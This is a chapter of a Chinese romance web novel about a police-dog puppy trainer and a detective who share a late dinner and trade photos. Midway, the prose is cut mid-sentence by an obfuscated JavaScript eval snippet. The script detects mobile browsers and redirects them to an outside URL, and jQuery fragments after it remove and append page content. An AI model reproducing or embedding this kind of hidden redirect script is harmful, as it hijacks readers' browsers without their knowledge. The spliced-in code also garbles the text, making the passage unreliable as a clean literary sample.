明天是警犬幼犬第一次考核。


    白天林舒雨在训练场待了一整天。张凯和小月负责训练，她在现场整理补充幼犬观察记录。


    幼犬考核，其实更多是对训练员的考验。林舒雨总共要对两项结果负责，一项是幼犬行为表现，一项是幼犬分级准确度。


    幼犬天生综合素质有高有低，她需要根据警犬考核标准，对12只幼犬进行阶段性分级，满分100分，定量打分基础上，分为“优秀、优良、良好、一般，待观察”五档。


    而考核当天，警犬基地专家会对幼犬现场表现进行再评级，两份评级结果偏离度不可以太高。


    社会化培训阶段，是警犬幼犬淘汰率最高的阶段，可达15%左右。也就是说这12只里，最终可能会有1-2只会被淘汰。而淘汰依据就是评级结果，所以林舒雨的评级准确度非常重要。


    训练场上，张凯和小月按照既定日程进行训练，气氛依旧轻松愉悦，对于幼犬们而言，这个阶段训练跟玩儿一样。


    可等它们长大成为一名真正的警犬之后，狗生可能将不再轻松，荣耀有多大，责任就有多重。


    想起昨天师傅说的话，警犬、军犬中，应激创伤的比例高达5%，这还是指存活下来的，加上任务中牺牲的，比例又能达到多少呢？


    看着目前评级较低的两只狗狗，一只是因为胆儿太小，衔取欲望不足，而另一只是服从性不好，抗干扰能力不足。


    林舒雨心中感叹，也许这两个小家伙以后反而能平淡又快乐地过完一生吧。


    一下午坐在地板上低头记录，林舒雨肩酸背痛，想起身休息一下，不料腿已经麻了，只好放下记录本，两手拍打麻木的小腿。


    突然，一只手从斜拉里伸过来，掌心朝上悬在空中，熟悉的声音传来，“起来活动一下。”


    诧异扭过头，不知什么时候，沈行舟悄无声息蹲到了她身旁，一看到他，林舒雨感觉整个人突然就轻松了许多，笑问：“不是说今天警队有事吗？”


    他的手还悬在那，向她又伸了伸，林舒雨心中微微一顿，面上还是故作自然，把自己的手放进他手心。


    那手掌的茧子粗粝，被握紧后，酥痒的感觉一路传到她心里。


    “忙完了。”沈行舟把她拉起来，等她站稳才松开，“来看看林老师是怎么临时抱佛脚的。”


    知道他在开玩笑，但林舒雨还是嗔道，“才没有，我很有信心。”


    沈行舟轻笑一声，抬起手腕看了一眼时间，“差不多了，走吧，去吃饭。”


    “可我晚上要加班。”刚说完就打脸，可不就是在临时抱佛脚吗？林舒雨脸有点热。


    沈行舟嘴角勾了勾，倒是没急着笑话她，只是低头看她的腿，“还麻吗？”


    林舒雨摇摇头，然后脑袋被轻轻一弹，“那吃完饭再送你回来抱佛脚。”


    “训练还没结束呢？”林舒雨扭头看向训练场。


    张凯和小月正在乐呵呵咬着耳朵，完全没发现这边的动静，那状态简直是公款打情骂俏，照这个工作进度，这是打算拖着狗狗们一起加班。


    沈行舟在一旁“嘁”了一声，“让他俩弄，走吧。”


    随后不等林舒雨回应，就先一步走出了训练场。


    怎么了这是？林舒雨觉得他好像突然不太高兴，便追了出去，跑到他身侧并行，抬眼瞅他，果然脸色淡淡，没了笑色。


    “还是…”沈行舟脚步突然停下想说什么，结果撞到林舒雨正在探查他的表情。


    “看什么呢？”他疑惑。


    “看你怎么突然不高兴了。”林舒雨坦诚道。


    “没不高兴。”沈行舟别过脸，声音突然嘟囔不清，似是有点难以启齿，“只是有点羡慕。”


    林舒雨皱着眉，没理解他什么意思，刚想追问，他却开始打岔，“你去办公室加班，我去给你打包晚饭过来，不然一来一回时间耽误太久。”


    说完就抬脚准备走，林舒雨急了，堵住他，抬头问，“你刚才羡慕什么，话还没说完呢。”


    沈行舟只是低眸看她，扬起的小脸只有巴掌大，表情认真又急切，你以为她呆懵懵的，其实她有时也很敏感，自己只是不经意露出的小情绪，就被她捕捉到了。


    可你要说她聪明，她又笨笨的。


    傻瓜，还能羡慕什么？羡慕别人可以天天黏在一起，而我却做不到。


    看他不说话，林舒雨拉了拉他的衣角，声音软软的，“说嘛，我想知道。”


    “………”还挺会撒娇的。


    嘴角一扬，故意逗她，“就不告诉你。”


    说完，在她嘟着嘴气哼哼的脸上捏了一把，坏笑着跑了。


    讨厌，林舒雨揉了揉脸，心里还在念着，他究竟为什么不高兴？不想让他不高兴。


    就这么停在原地，看着他跑开的背影，身形矫健又肆意，突然想，在还没有成为一名冷酷刑警之前，他会是什么样子呢？大概也是一个热烈活泼的少年吧。


    如今，他给人的第一印象总是凶巴巴的，但是只有林舒雨知道，他有多么温柔。而且，经过这段时间的相处，发现他其实也很爱笑。


    现在，林舒雨又知道了他的心事，好朋友牺牲了，所以要来陪伴朋友的爱犬吗？还是那样的善良，这么多年，你一点都没有变啊。


    回到办公室，林舒雨翻开警犬幼犬记录档案，又开始进行第N遍温习。


    不过才两个礼拜，林舒雨对每只幼犬都有数千字的观察记录，包括性格、体能、优劣势、每日行为表现等各方面。


    明天她还要接受专家现场盘问，有了上次的经验，知道那些专家可不好对付，简直是吹毛求疵，只能多看几遍，努力做到烂熟于心。


    这个点，办公楼已经没什么人，她把办公室大灯关上，只留了桌面上的台灯，很快进入心流状态。


    或许是一个人太久，林舒雨比常人更容易专注，工作的时候就投入在工作中，休息的时候一本书也够她打发一整个周末。


    以前她曾想过，一个人活到老会是什么样子呢？没有外界的喧嚣，孤独变成一杯醇酒，你自斟自酌，与自己对话。开心与难过都变得不那么重要，那都是孤独生活的点缀，给平静无波的生活添一丝涟漪而已。林舒雨想象中的孤独到老就是这样的超然状态，好像也并不怎么悲伤。


    可一旦与外界产生了丝丝缕缕的关联，孤独就变了滋味，没有那么醇香，甚至有些酸涩，再难以下咽。


    也就一个小时不到，沈行舟拎着一大包食物坐到林舒雨对面，很不客气地把她手中的书夺走放到一边，把办公桌摆满了食物。


    透过这热气腾腾的光晕，林舒雨突然想，我不要孤独了，我想要陪伴。


    “唔，我吃不下了。”


    虽然有点浪费，但是沈行舟实在买了太多，林舒雨把自己的胃吃得滚圆也没吃完。


    “这个小笼包我打包回去明天当早饭吃，可这碗云吞只能浪费了。”


    正要收拾，手中的碗却被沈行舟端过去，“不浪费，我来吃。”


    林舒雨手中一空，还没待她反应过来，沈行舟已经把她剩下的几颗云吞吃完了。


    他是无意的，还是在他看来，他们已经可以亲密地吃一碗食物了？林舒雨愣神了一会，收回目光，假装没有发觉。


    吃完饭，桌面收拾干净，林舒雨问他，“你要不要先回去，我还要再看一会儿。”


    沈行舟瞥她一眼，没说要不要，只是拎起外


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17052495|193414||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    卖的垃圾袋走出去。


    没一会儿又回来了，在她对面的椅子上坐下，趴伏在桌子上，随手拿起一本书挡住脸，幽幽说了一句，“不喜欢你跟我客气。”


    林舒雨愣怔，想起他之前教育自己，不要总是怕麻烦别人。


    她确实是这样的人，跟所有人都客客气气，总怕自己是一个累赘，其实想想也正是因为这种小心翼翼，才让她和这世界总是产生不了太深的关联。或许想要真正摆脱孤独，就应该先从改变自己出发吧。


    好像明白了沈刑警给自己传递的人生道理，林舒雨弯弯嘴角，不再管他，沉浸在自己的工作中。


    很快，空气里只剩下书页的沙沙声。


    不知过了过久，对面的人呼吸变得绵长。


    林舒雨抬眼看去，他趴在桌上，那本书斜卡着他的脸，搁在桌面上的手指松弛地蜷曲，宽厚的肩背缓缓起伏，像极了一只熟睡的大狗。


    想看看他睡着的样子，林舒雨小心地掀开书，轻轻放在一边。


    他的脸侧埋在肘弯里，林舒雨趴下来，几乎把脸贴在桌面上，才总算找了一个可以看清全脸的角度。


    沈刑警睡着的时候眉目安静，睫毛浓密，鼻梁挺直秀气，薄唇泛着点点淡红，没有了凌厉的气势，倒像是个不经世事的美少年。


    悄悄摸出手机，调整到相机界面，好不容易找好角度，把他整张脸框进相机，可是光线不太对，脸部有些黑影，她正在屏幕中上下调整着，镜头里的那张帅脸猝不及防睁开了眼睛。


    “啪”一声手机掉落，林舒雨目瞪口呆。


    沈行舟一把按住手机要看，林舒雨慌忙去抢，可是哪里抢得过他。


    他高举着手机起身，林舒雨踮着脚去够。


    促狭的声音从头顶传来，“偷拍啊，我来想想啊，偷拍他人怎么量刑呢。”


    怎么也够不到的林舒雨满脸通红，只好回到椅子上，气得别过脸不看他，“根本没拍到！”


    一声低笑传来，胳膊被轻轻戳了一下，“有穿警服的宣传照要不要？”


    警服？好想看他穿警服的样子，林舒雨动心了。


    磨磨蹭蹭回过头，小心咀嚼着沈行舟的表情，看他虽然抿嘴憋着笑，但不像开玩笑的样子，于是很认真地点了点头。


    可是沈刑警很讨厌，他单手撑起脸，一脸坏笑，“交换，你的照片拿来。”


    林舒雨从不自拍，也没有特意拍过照片。


    想了想，她当场打开办公室抽屉，从里面找出张证件照，敷衍丢给他，“只有这个。”


    沈行舟拿起照片看了看，貌似并不介意，而是勾唇一笑，从口袋里掏出钱夹，把照片小心塞了进去。


    他也没食言，林舒雨也获得了一张高清电子照，照片中沈刑警头戴警式鸭舌帽，着藏青色警用夹克，裤子扎进高帮靴中，单手扶着腰，眉目紧绷地眺望远处，宽肩窄腰，英姿飒爽，简直帅炸了！


    林舒雨激动地把照片原图保存在手机里，贪心不足，“只有这一张吗？”


    沈行舟“嘁”了一声，“一张换一张，你就只给我一张两寸半身照，我都亏大了。”


    没有就没有吧，有这一张也已经超级满足了，她两手扒拉着照片，把脸部放大，越看越觉得沈刑警天下最好看。


    却不知，在她乐滋滋看照片的时候，沈刑警就坐在对面盯着她，看她眼角弯弯，睫毛垂落有如蝶翅，玉石一样的脸庞在台灯下闪着温润的光泽。


    得她一笑就足以被多少男人艳羡，更何况被她这样爱慕。


    心里的滋味当然是甜的，甚至有些虚荣得飘飘然，可是又觉得自己真有这么好吗，值得这么好的你如此喜欢？


    好像这份喜欢越重，他的心就越忐忑。